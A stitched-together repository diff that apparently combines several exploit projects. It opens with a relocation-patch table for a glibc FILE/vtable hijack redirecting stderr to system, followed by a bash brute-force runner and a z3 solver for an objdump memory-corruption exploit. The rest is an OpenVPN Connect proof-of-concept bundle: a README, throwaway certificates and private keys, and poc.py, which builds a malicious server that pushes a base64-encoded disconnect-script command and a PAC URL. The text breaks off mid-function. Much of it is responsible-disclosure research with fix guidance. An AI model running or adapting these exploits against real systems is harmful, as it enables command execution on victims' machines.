006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,40 @@
#!/usr/bin/env bash
set -u
BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUT_DIR="${2:-$BASE_DIR/payloads}"
MAX_TRIES="${MAX_TRIES:-50}"
if [ "$#" -lt 1 ]; then
echo "usage: $0 /path/to/objdump [payload-directory]" >&2
exit 2
fi
OBJ="$1"
if [ ! -x "$OBJ" ]; then
echo "objdump not executable: $OBJ" >&2
exit 2
fi
if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
fi
cd "$BASE_DIR" || exit 2
export PATH="$BASE_DIR:$PATH"
rm -f "$BASE_DIR/calc_hit.log"
for try in $(seq 1 "$MAX_TRIES"); do
for payload in "$OUT_DIR"/*.bin; do
python3 -c 'import subprocess, sys
subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
echo "HIT try=$try payload=$payload"
exit 0
fi
done
done
echo "MISS after $MAX_TRIES sweeps" >&2
exit 1

View File

@@ -0,0 +1,159 @@
#!/usr/bin/env python3
import argparse
from itertools import product
from z3 import BitVec, BitVecVal, Extract, Solver, ZeroExt, sat
STDERR = 0x2044E0
SYSTEM = 0x58750
def bytes_from_word32(x):
return [(x >> (8 * i)) & 0xFF for i in range(4)]
def z3_input(base):
p = (base + STDERR) & 0xFFFFFFFF
p = BitVecVal(p, 32)
return [Extract(8 * i + 7, 8 * i, p) for i in range(4)]
def z3_target(base):
s = (base + SYSTEM) & 0xFFFFFFFF
s = BitVecVal(s, 32)
return [Extract(8 * i + 7, 8 * i, s) for i in range(4)]
def add8(bs, off, k):
out = list(bs)
out[off] = out[off] + Extract(7, 0, k)
return out
def add16(bs, off, k):
out = list(bs)
w = (ZeroExt(8, bs[off]) << 8) | ZeroExt(8, bs[off + 1])
w = Extract(15, 0, w + Extract(15, 0, k))
out[off] = Extract(15, 8, w)
out[off + 1] = Extract(7, 0, w)
return out
def add32(bs, off, k):
out = list(bs)
w = (
(ZeroExt(24, bs[off]) << 24)
| (ZeroExt(24, bs[off + 1]) << 16)
| (ZeroExt(24, bs[off + 2]) << 8)
| ZeroExt(24, bs[off + 3])
)
w = w + k
out[off] = Extract(31, 24, w)
out[off + 1] = Extract(23, 16, w)
out[off + 2] = Extract(15, 8, w)
out[off + 3] = Extract(7, 0, w)
return out
def apply_z3(bs, op, k):
kind, off = op
if kind == 8:
return add8(bs, off, k)
if kind == 16:
return add16(bs, off, k)
if kind == 32:
return add32(bs, off, k)
raise ValueError(op)
def apply_concrete(bs, op, k):
bs = list(bs)
kind, off = op
if kind == 8:
bs[off] = (bs[off] + k) & 0xFF
elif kind == 16:
w = ((bs[off] << 8) | bs[off + 1])
w = (w + k) & 0xFFFF
bs[off] = (w >> 8) & 0xFF
bs[off + 1] = w & 0xFF
elif kind == 32:
w = (bs[off] << 24) | (bs[off + 1] << 16) | (bs[off + 2] << 8) | bs[off + 3]
w = (w + k) & 0xFFFFFFFF
bs[off] = (w >> 24) & 0xFF
bs[off + 1] = (w >> 16) & 0xFF
bs[off + 2] = (w >> 8) & 0xFF
bs[off + 3] = w & 0xFF
return bs
def check_all(seq, ks):
for base in range(0, 1 << 32, 0x1000):
bs = bytes_from_word32((base + STDERR) & 0xFFFFFFFF)
want = bytes_from_word32((base + SYSTEM) & 0xFFFFFFFF)
for op, k in zip(seq, ks):
bs = apply_concrete(bs, op, k)
if bs != want:
return False
return True
def solve_sequence(seq):
reps = [
0x00000000,
0x00008000,
0x00DFC000,
0x00E08000,
0xFFDFC000,
0xFFE08000,
]
solver = Solver()
ks = []
for i, op in enumerate(seq):
width = {8: 8, 16: 16, 32: 32}[op[0]]
ks.append(BitVec(f"k{i}", width))
for base in reps:
bs = z3_input(base)
for op, k in zip(seq, ks):
if op[0] != k.size():
k = ZeroExt(op[0] - k.size(), k)
bs = apply_z3(bs, op, k)
want = z3_target(base)
for got, expected in zip(bs, want):
solver.add(got == expected)
if solver.check() != sat:
return None
model = solver.model()
vals = [model[k].as_long() for k in ks]
if check_all(seq, vals):
return vals
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--max-extra", type=int, default=4)
parser.add_argument("--mode", choices=("all", "r32-first", "r32-last"), default="r32-first")
args = parser.parse_args()
ops = [(32, 0)] + [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
correction_ops = [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
for extra in range(0, args.max_extra + 1):
print(f"extra={extra}", flush=True)
if args.mode == "all":
sequences = product(ops, repeat=extra + 1)
elif args.mode == "r32-first":
sequences = (((32, 0), *tail) for tail in product(correction_ops, repeat=extra))
else:
sequences = ((*head, (32, 0)) for head in product(correction_ops, repeat=extra))
for seq in sequences:
result = solve_sequence(seq)
if result is not None:
print("FOUND", seq, [hex(x) for x in result])
return 0
print("no sequence found")
return 1
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,8 @@
runtime/
*.log
*.status
*.stdout.txt
*.stderr.txt
__pycache__/
.venv/
venv/

View File

@@ -0,0 +1,239 @@
# OpenVPN Connect Server-Pushed Option Findings PoC
Benign proof of concept bundle for two locally verified OpenVPN Connect for Windows behaviors reachable from a malicious VPN server after a victim imports and connects to an `.ovpn` profile.
This repository is intentionally marker-only. It does not use PowerShell, pop calc, install persistence, read credentials, modify protected files, or start a reverse shell.
## Findings
### Finding 1: Echo Script Permission Bypass to Current-User ACE
A malicious OpenVPN server can push an `echo` option that decodes into `script.win.user.disconnect`. OpenVPN Connect later executes that command on disconnect even though the imported profile's script permission state remains unset or false.
Server primitive:
```text
push "echo 0:0:<base64(script.win.user.disconnect)>.<base64(command)>"
```
Verified impact:
- Current-user arbitrary command execution on VPN disconnect.
- Import alone is not enough. The client must connect, receive the pushed `echo` value, and then disconnect.
- The default payload writes `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`.
Observed permission state during local verification:
```text
scriptsPermissionGranted=false
scriptsPermissionLocked=false
```
### Finding 2: Server-Pushed PAC Auto-Config State Control
A malicious OpenVPN server can push `dhcp-option PROXY_AUTO_CONFIG_URL`. OpenVPN Connect passes the pushed PAC URL through the privileged `/tun-setup` path, and the LocalSystem agent applies the proxy action by impersonating the current user. During the VPN session, HKCU Internet Settings receives the server-controlled `AutoConfigURL`; OpenVPN Connect clears it on disconnect.
Server primitive:
```text
push "dhcp-option PROXY_AUTO_CONFIG_URL http://127.0.0.1:18080/openvpn-connect-ace.pac"
```
Verified impact:
- Server-controlled PAC URL is applied while connected.
- The state change is transient and is cleaned up on disconnect in the tested build.
- This is not a SYSTEM shell. It is a separate server-controlled client state modification through the privileged OpenVPN Connect helper path.
Registry state observed in local verification:
```text
Before connect: AutoConfigURL=null, ProxyEnable=0
During connect: AutoConfigURL=http://127.0.0.1:18080/codex-openvpn-connect.pac, ProxyEnable=0
After disconnect: AutoConfigURL=null, ProxyEnable=0
```
Relevant log indicators:
```text
0 [dhcp-option] [PROXY_AUTO_CONFIG_URL] [http://127.0.0.1:18080/codex-openvpn-connect.pac]
/tun-setup proxy_auto_config_url.url=http://127.0.0.1:18080/codex-openvpn-connect.pac
ProxyAction: auto config: http://127.0.0.1:18080/codex-openvpn-connect.pac
```
## Tested Target
- OpenVPN Connect for Windows `3.8.0 (4528)`
- OpenVPN core `3.11.3`
- Windows desktop target
Follow-up local checks also showed that code running as the current user inside the genuine `OpenVPNConnect.exe` process can reach LocalSystem helper/agent named-pipe handlers that reject arbitrary external clients. That is useful escalation context for impact analysis, but it is not presented here as standalone SYSTEM RCE.
## Repository Layout
```text
.
|-- README.md
|-- poc.py
|-- certs/
| |-- ca.crt
| |-- server.crt
| |-- server.key
| |-- client.crt
| `-- client.key
`-- runtime/
```
`runtime/` is generated locally and git-ignored. The certificates are throwaway lab material only. Do not reuse them for a real VPN.
## Requirements
- Python 3.9+
- OpenVPN 2.x community binary for the local test server
- OpenVPN Connect installed on the Windows target
The PoC uses Python and `cmd.exe` only. There is no `.ps1` runner.
If `openvpn.exe` is not on `PATH`, pass it explicitly:
```cmd
python poc.py --mode server --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
## Quick Start
Build the echo-script ACE configs:
```cmd
python poc.py --mode build --finding echo-script
```
Build the PAC auto-config configs:
```cmd
python poc.py --mode build --finding proxy-auto-config
```
Generated files are written under `runtime/`. The client `.ovpn` file is the profile to import into OpenVPN Connect. The server `.ovpn` file is used by the local malicious OpenVPN 2.x test server.
## Manual Reproduction: Echo Script ACE
Start the local malicious server:
```cmd
python poc.py --mode server --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
Then:
1. Import `runtime\client_echo_script_poc.ovpn` into OpenVPN Connect.
2. Connect to the imported `127.0.0.1` profile.
3. Disconnect normally.
4. Check the marker path printed by `poc.py`.
Expected marker content:
```text
OPENVPN_CONNECT_ECHO_SCRIPT_ACE
```
## Manual Reproduction: PAC Auto-Config
Start the local malicious server:
```cmd
python poc.py --mode server --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
Then:
1. Import `runtime\client_proxy_auto_config_poc.ovpn` into OpenVPN Connect.
2. Connect to the imported `127.0.0.1` profile.
3. While connected, inspect the PAC registry value:
```cmd
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
```
4. Disconnect normally.
5. Query the same value again and confirm cleanup.
Expected during connection:
```text
AutoConfigURL REG_SZ http://127.0.0.1:18080/openvpn-connect-ace.pac
```
Expected after disconnect:
```text
ERROR: The system was unable to find the specified registry key or value.
```
## Automated Local Reproduction
Echo-script ACE:
```cmd
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
PAC auto-config:
```cmd
python poc.py --mode auto --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
If OpenVPN Connect is installed elsewhere:
```cmd
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" --connect "C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe"
```
`auto` mode imports a disposable profile, connects, captures the relevant marker or proxy state, disconnects, removes the profile, and quits the test-launched Connect process.
## Evidence To Capture
For Finding 1:
- Generated `runtime\server.ovpn` push line containing `echo 0:0:`.
- OpenVPN Connect log line showing `0 [echo] [0:0:...]`.
- Marker file `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`.
- Profile state showing script permissions unset or false.
For Finding 2:
- Generated `runtime\server.ovpn` push line containing `dhcp-option PROXY_AUTO_CONFIG_URL`.
- OpenVPN Connect log line showing `0 [dhcp-option] [PROXY_AUTO_CONFIG_URL]`.
- `/tun-setup` log data containing `proxy_auto_config_url.url`.
- Agent log line showing `ProxyAction: auto config`.
- HKCU Internet Settings `AutoConfigURL` before connect, during connect, and after disconnect.
## Limits
This PoC does not prove SYSTEM RCE, silent local privilege escalation, persistence, credential access, arbitrary protected-file write, service tampering, or reverse shell execution.
Finding 1 proves current-user command execution from a malicious server-controlled option on disconnect.
Finding 2 proves server-controlled PAC state while connected. Depending on product design and user consent expectations, this may be treated as intended VPN server functionality, a missing visibility/consent issue, or an abuse primitive that matters when chained with the trusted-client helper boundary.
## Fix Direction
For Finding 1:
- Do not execute decoded `script.*` echo data unless the corresponding profile script permission flag is explicitly granted.
- Treat server-pushed script-bearing `echo` data as executable configuration.
- Prompt before enabling or running any script received from a VPN server.
- Reject or ignore pushed script keys when profile policy disallows scripts.
- Add regression coverage for `script.win.user.disconnect` where `scriptsPermissionGranted=false`.
For Finding 2:
- Make server-pushed proxy/PAC state visible before or during connection.
- Provide policy controls to reject server-pushed proxy configuration from untrusted profiles.
- Ensure cleanup is reliable across disconnect, crash, reconnect, sleep, and agent restart cases.
- Log the origin of the server-pushed PAC URL clearly enough for incident review.
## Responsible Use
Use this only on systems you own or are explicitly authorized to test. Keep public demonstrations benign.

View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIC/TCCAeWgAwIBAgIULMHki/fh5wvSQTgjhs+lY/G1pvUwDQYJKoZIhvcNAQEL
BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2
MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJjEkMCIGA1UEAwwbQ29kZXggTG9j
YWwgT3BlblZQTiBUZXN0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA8+dLm5olw+BdyRJJhq3p3vhXUgPYTIMZmOjNC0gqyHhFmsNwI3gWryCeqE6U
jho5+oSV3mkxnn1DHA0sIul3VCosv1ZP2YG6hMUi9xk55vpOr0dgOz6Z8vE7B938
SCoM2wjy28i5pySIKIMJieVAPSGsiZl1X/LmTaIVszk8QUe7CnKmWBcz4HMqmSza
m0kYH2K+wv4EOTVuQNqFGTRGunZb0j5HkOBpjV/QSn6SoRnfq7PfkfGbDANTKtLO
Ju5ac8GD414TWssZnWG4eIGa1wxa0RXzRt3rDCNG5Ytlfuje1e96/Yp6g8QpfQou
tXm9LgQknlLc+apDGFHVFwghawIDAQABoyMwITAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAQEAR0bte2XKvL1qgWcCrP6K
Shs0XFwQ8+IyvZfFL1/Dlei9mMbAW8jb2QGyngFgp68gpl7UaEyhV5toWTzg+uiM
mFeQVtgmIv9o6Hb0C+/4VZQbUjYPjtGJ1WFtL5IEgOmOTD7km+z02keS7jKmXjQ/
qk0mQ6u8H3f3DVNEOE0g/gtGjWnYDJ8GsNjnz1+XDMVlHNFH6seS93SZq8/Bk8Zx
HsRZA3uyjAcxbugGDkp9YPq2BK0e2KyUdD+De+VWL9zFRGqA3blrdvnQl6BEQv2p
m/VBQQOl622XT1GraYwHdR8rSsSTCmXUXJawDpmBUs0nv5XhBmgLoFwOQ0iInM2Y
sA==
-----END CERTIFICATE-----

View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDDjCCAfagAwIBAgIUKSx9pC2Z8EgRhgA3Yl4ImxJH/88wDQYJKoZIhvcNAQEL
BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2
MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJTEjMCEGA1UEAwwaY29kZXgtbG9j
YWwtb3BlbnZwbi1jbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDHEQV+HpmSoaW/cormZPzflv+3TmDsms8Y3S+iklBOhlG0HOVsuFG9hQl6mAS/
gIAC8ZXbtRuq5sQ+rJcnUDQx1CL6v+XCTtoWcptvtBNKQzKCE1ofDsEKVXwTqW5x
wDan784HEDm1gg2cszSrYStjbc4eFEnmnL10CoIpf7yPHH+CsN2FwJQLXTPbCxgh
9gsRUSt4IjN5P5HcUmrPUyE3TFKxZMUTQdrOcfnxLF2vkzu3xb17iMJbEeEv7S18
IUurNBblTbM+fAK1sT68rlqPApLdUzE0+Mq/M2hsxAps/aWf4okUuzNiN7ENtJnu
i76qCG2IMPB0mR0+xehC54uRAgMBAAGjNTAzMAwGA1UdEwEB/wQCMAAwDgYDVR0P
AQH/BAQDAgOoMBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB
AQDiWlpfHW0n5DX/cHkX+WIKrfWD6VHtmXLzUSaUdej9KlkgIQJWwfsvSAAGLiv2
hpqIys/51d4eA7KSozaGmWgCjnQPOIVVeAH+6TUUF/xk9hHTxa/yNlseGveQlDa5
aboSwuf0uyx875Lyma8wVCPdsXgAQFcYAUyBuh1U8juBGktMigDTvFL6+Jl5T42K
/YGxYKyxXLkefL2ReeLC7JmACDpMfBUftXEg0fj99Z6vL4RVUB7N76gnEC//1vvH
TP61XG1WKmVOPm0AKzoUqy02ZFoN8StileVn24qvV0Tidyc+jezKZ+mtOivYe/sX
xqNL/D9/f2/nzzD+xaoyL1r4
-----END CERTIFICATE-----

View File

@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxxEFfh6ZkqGlv3KK5mT835b/t05g7JrPGN0vopJQToZRtBzl
bLhRvYUJepgEv4CAAvGV27UbqubEPqyXJ1A0MdQi+r/lwk7aFnKbb7QTSkMyghNa
Hw7BClV8E6luccA2p+/OBxA5tYINnLM0q2ErY23OHhRJ5py9dAqCKX+8jxx/grDd
hcCUC10z2wsYIfYLEVEreCIzeT+R3FJqz1MhN0xSsWTFE0HaznH58Sxdr5M7t8W9
e4jCWxHhL+0tfCFLqzQW5U2zPnwCtbE+vK5ajwKS3VMxNPjKvzNobMQKbP2ln+KJ
FLszYjexDbSZ7ou+qghtiDDwdJkdPsXoQueLkQIDAQABAoIBAARwD7RJEFlheyVy
c0BBnhWJ8zdt6uE7bkR6odY49stZWTbvsfmjfkcAUT7HZsuyHKh0JEgamHxN2rAe
/tukgRVfSkxWvNOBGIGJmod59zgfmV+m+MpadNk7IKH7k/e7Njy2Ltyfcvnl5VHJ
+PGdH+9+girPfvpCIkMU/OPZ8iUqjlrqx3ZO7iyv6EbJJSoKL6HN7HTUbC8ceZPP
LrareHSL4VCcbWGs/cPfj2rc0IN7cNQDQG7kCkAwQAADxPskzUmYkCIgc2iKX1uB
uexsPMGl0bTYWGbQ0/STo81OPkn/zYxlRXC689iqTI9rYiaALLoknnrOK4g06/a6
H/M+HUUCgYEA+h+8vOv4mmIxixCscvEfxXN494AxUhGpHCPHf7Wbzs2DlDQAMsV6
SzdzGA7DSlEu/9pUtzib0AoxCYJ3vO9mkIKrYHRPt421Ip90M59ojMLKJ7uCPsor
joL8LxfQKPuRbc4IKdyqtqycXr0mquGdTVRtzTp7ax1eNCjBDqK45PsCgYEAy744
kqe67JYOlCsEw9KBhZMPAH8PBC4srhe7A06Z3NYDSu6hubX4uJ2Y2hm9d4tBqR/W
OZOexcT2iXtisQv6nJmUJkmj0zc1+/fpCVYEPUJlCcRp33cG7HAnCYFzg3s4FL2P
Dhc6nV4lLp5c8mZpwmgd7xRMJy4mB3YGe9E7s+MCgYEAp/Yx/seTDNENpe4Pb6w+
ApDVVZaPCCZ14kCgkkD5HPli912oGHAF/IaC0k/vknNL1WHe656m+yAs587l60j0
HeyxercAZSlSzqo3FQdh5MxVhjLjdpi6gRuyj0k1bp/oe80ULFBTjxIAe5oXYj7Z
K/mbNmqkQDzbarlHUzWwZYsCgYAq9S6EbW0SGQl14CQfDbFVco5FMoT+AqZVBpfd
uKLkVxNWpz3eJCoO8tuZkLfMDsaHXDkU5rUhScgZcLR8U+RBRHhiIkCydf+h4sF1
wHcgW3FmP8162mPRUkxIysyKOl62sMkK1Yb8Sy9Xxvgd+83suXsmP4dW83n9NLtl
O9Z0tQKBgBEcFB/ihPTnK84PRG2hgj9UZeedBz/YLmXka+IL5Inro2YExz4guJbF
lIOC8FHPu0Jtn88jv2fHELbAzH7s0wo57qitn3SAbGT4qZO1xWf+b1LBILEG+h1m
kFg2nnS5GHlSpvlKaQP8mWBz72B/K1upuglDsh5rCKEoEHI59kQP
-----END RSA PRIVATE KEY-----

View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDDjCCAfagAwIBAgIUDV31jStGllh34UCOwjGtHKPy+9QwDQYJKoZIhvcNAQEL
BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2
MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJTEjMCEGA1UEAwwaY29kZXgtbG9j
YWwtb3BlbnZwbi1zZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDKpJwEdvRy2/iFI4hTp+Hx5VDhzvKvM4sZb+QWHhabFab/N6vcykrFRuUDmoKW
Hff6l3pP44fpvYctPdbZ8B+Aov0cOyKwjcPY7Xqaa337ZutwrHlxFclRcOX5eaKG
3IxLybd8MJvrWmaJVOvVimgfJyWoN9NctnKLwmobgWV5GYXeTOrNBRI8ccTUf/M0
hDtWhl4Grh3DSQQ+99+i6FCRWI+JOQFnSEo0Vyi+ZaLDKvu1tSkqhcikyovpPuYF
+onl6CWSt383LsMhzhKG8NDrB3/1r05X0UKnClNkIzMa2hxikM4qyzZ82OH9IDcm
ipj2AQvb91/40HdB/mTZUoWpAgMBAAGjNTAzMAwGA1UdEwEB/wQCMAAwDgYDVR0P
AQH/BAQDAgOoMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB
AQBdOfjQ+F6NG3T6jHqkdtTCTCz31p7SPRoRlpIaVn+0g3cGdsWaUh3sX81VWKKg
H+nfM6UYJFu9HtokM0hocC4jWPqR7RyRaNO9mgj/PUCbQlwwTqxRE5SwuNQ2O0O6
v8f+i6mRLLC7VqYWWeqBdcVmKmeyvVMwmQ0EohZ0Aj02B0lMoSdLP/w/KEGNpNt+
AanChD5xSB6jx2mnUcT9NzuzbFjkpRUQpiBKE+OBywpZwpeWuA1kmWUgCUKL57Wz
2w8NqQv/elONmXuD0wk6TkxgAqRvH7+QgOV0oLYEfE3e8cUxkqK4zVEPV05hwG4K
Dl9W0pKsg/qPc7SRKKugUHYk
-----END CERTIFICATE-----

View File

@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAyqScBHb0ctv4hSOIU6fh8eVQ4c7yrzOLGW/kFh4WmxWm/zer
3MpKxUblA5qClh33+pd6T+OH6b2HLT3W2fAfgKL9HDsisI3D2O16mmt9+2brcKx5
cRXJUXDl+XmihtyMS8m3fDCb61pmiVTr1YpoHyclqDfTXLZyi8JqG4FleRmF3kzq
zQUSPHHE1H/zNIQ7VoZeBq4dw0kEPvffouhQkViPiTkBZ0hKNFcovmWiwyr7tbUp
KoXIpMqL6T7mBfqJ5eglkrd/Ny7DIc4ShvDQ6wd/9a9OV9FCpwpTZCMzGtocYpDO
Kss2fNjh/SA3JoqY9gEL2/df+NB3Qf5k2VKFqQIDAQABAoIBAAIc7bfBkZKLI5h5
Eb8NkKxPklpw16wIpLbhSvXg7B+h3EWbUsrQ5xQqD2XnRiBDBMoYkCefNM201Dik
98xY6hzc2ZbN+0NAPeoiNNjcakoysxAaIVrjrFHwBs1yujE6cI6YEVgLbsPwA7Gy
eq0p4ILNmKTSFUDdml8dOs4Dq9GEeuouDEUGKseC4X7MFM9V7DEZ+hkPUZOUDEz/
Bs68el3DFbaVijPPPlT82IETGVLr4LjSHXtfK6zUcL5x5fEMxk7sdxsUWuuWqPkT
8Vuqj+EdyKvH58lzbJQK+yZd6eKGhZa92W9UIFSAbWPw7G2MVCCkmJk8HXzkv/+l
KET+ZaECgYEA6YqF6/QsieDru2xthUvkFtszrvam5kg9YdPJs8v5HdZlvQklgzOP
utLuEOI0n10w9LfFhPIFmzKbo6sRzORaMk7Ogw2cWJnX6QL+uqNV9YDOKpH8rRaR
/Z7kMHjZyQTdoHSy3BuFDSOoDWGbG8byY6tolIokC7pQPBEaHIxHj5sCgYEA3iFq
WztN9ZbrPU2IzA6P1iOFYRv1Wgr/sSt4xf5mB+8qnpyrQKdtn56GRFTE20mHaROW
NkawU9qPFiqS7XBr5l9T8gesinr+Eyj0woFJ37cgX4dx4oVyUxypW1sJR9nlQSx1
7wQK0v280bWL6K7O8c/si7DoUBSm75FiqIAsrgsCgYEAt/ZOF9d3XgS2rCR1ARMO
0JJK2/+e6Lbu4yiZMe/yg/ZmncmeqwLqrReKP/Jv0TjvX1WDWX3rvJzYzMvscaFP
C2HYepM2HPTShtG9JfeTtpeHzzDAAPhOd6G5zhTkONyEV+iVG5zx6a+0qRXBwNeu
B6T19Ev8qOBSY351OxelJxECgYBRieCZtq5KXWjiquhxR1MjXwyh9fpdYDY12ehO
fbEEbpWtfYMbi5ohArb0tE1C1b3gI3F7YP1u+oaVs3EVubPR7+JHsOt0Neu4KsuV
7pGojndSucxjQ2sQ+S9tuoAwoNqXzvNHlqtGgh/itwqxkiGjABkrufe9Faelvy+A
/PPpuwKBgFTmzFs33q7DCzM/Ac4SsJCdV5HdTmMKMhHLeH8OuA3YbZNp4K39EeM3
DzuIYk/LNTqc1c5Lmh0FuhpmuC/SFJ7n+sAr5JVKbzEEEveitsTaa92iUR0bqlm+
0p9ZuKGYiBlE3ioSEPNV6AXVFQol6BWOEebT6jeGqpq0+1/CwtyV
-----END RSA PRIVATE KEY-----

View File

@@ -0,0 +1,363 @@
from __future__ import annotations
import argparse
import base64
import json
import os
import shutil
import signal
import subprocess
import sys
import tempfile
import time
from pathlib import Path
ROOT = Path(__file__).resolve().parent
CERT_DIR = ROOT / "certs"
RUNTIME_DIR = ROOT / "runtime"
DEFAULT_PORT = 11940
DEFAULT_MARKER_NAME = "openvpn_connect_echo_script_ace_marker.txt"
PROFILE_NAME_PREFIX = "openvpn-connect-pushed-option-poc"
FINDING_ECHO_SCRIPT = "echo-script"
FINDING_PROXY_AUTO_CONFIG = "proxy-auto-config"
DEFAULT_PAC_URL = "http://127.0.0.1:18080/openvpn-connect-ace.pac"
def b64(text: str) -> str:
return base64.b64encode(text.encode("utf-8")).decode("ascii")
def ovpn_path(path: Path) -> str:
return str(path.resolve()).replace("\\", "/")
def read_text(path: Path) -> str:
return path.read_text(encoding="ascii")
def require_file(path: Path) -> None:
if not path.is_file():
raise FileNotFoundError(f"Required file is missing: {path}")
def default_marker_path() -> Path:
return Path(tempfile.gettempdir()) / DEFAULT_MARKER_NAME
def default_connect_exe() -> Path | None:
env = os.environ.get("OPENVPN_CONNECT_EXE")
if env:
return Path(env)
candidate = Path(r"C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe")
return candidate if candidate.is_file() else None
def default_openvpn_exe() -> str | None:
env = os.environ.get("OPENVPN_EXE")
if env:
return env
found = shutil.which("openvpn.exe") or shutil.which("openvpn")
if found:
return found
candidate = Path(r"C:\Program Files\OpenVPN\bin\openvpn.exe")
return str(candidate) if candidate.is_file() else None
def build_payload_command(marker: Path) -> str:
marker_text = str(marker)
if '"' in marker_text:
raise ValueError("Marker path must not contain a double quote")
return f'cmd.exe /c echo OPENVPN_CONNECT_ECHO_SCRIPT_ACE>"{marker_text}"'
def build_server_config(port: int, finding: str, command: str, pac_url: str) -> str:
if finding == FINDING_ECHO_SCRIPT:
key = b64("script.win.user.disconnect")
value = b64(command)
pushes = [f'push "echo 0:0:{key}.{value}"']
else:
pushes = [f'push "dhcp-option PROXY_AUTO_CONFIG_URL {pac_url}"']
return "\n".join(
[
f"port {port}",
"proto tcp-server",
"dev null",
"mode server",
"tls-server",
f'ca "{ovpn_path(CERT_DIR / "ca.crt")}"',
f'cert "{ovpn_path(CERT_DIR / "server.crt")}"',
f'key "{ovpn_path(CERT_DIR / "server.key")}"',
"dh none",
"server 10.88.0.0 255.255.255.0",
"topology subnet",
"keepalive 1 3",
"duplicate-cn",
*pushes,
'push "ping 1"',
'push "ping-restart 3"',
"verb 4",
f'status "{ovpn_path(RUNTIME_DIR / "server.status")}"',
f'log "{ovpn_path(RUNTIME_DIR / "server.log")}"',
"",
]
)
def build_client_config(port: int) -> str:
return "\n".join(
[
"client",
"dev tun",
"proto tcp-client",
f"remote 127.0.0.1 {port}",
"nobind",
"persist-key",
"persist-tun",
"remote-cert-tls server",
"auth SHA256",
"cipher AES-256-GCM",
"data-ciphers AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305",
"verb 4",
"connect-retry-max 1",
"resolv-retry 1",
"<ca>",
read_text(CERT_DIR / "ca.crt").strip(),
"</ca>",
"<cert>",
read_text(CERT_DIR / "client.crt").strip(),
"</cert>",
"<key>",
read_text(CERT_DIR / "client.key").strip(),
"</key>",
"",
]
)
def build_configs(port: int, marker: Path, finding: str, pac_url: str) -> tuple[Path, Path, str]:
for name in ["ca.crt", "server.crt", "server.key", "client.crt", "client.key"]:
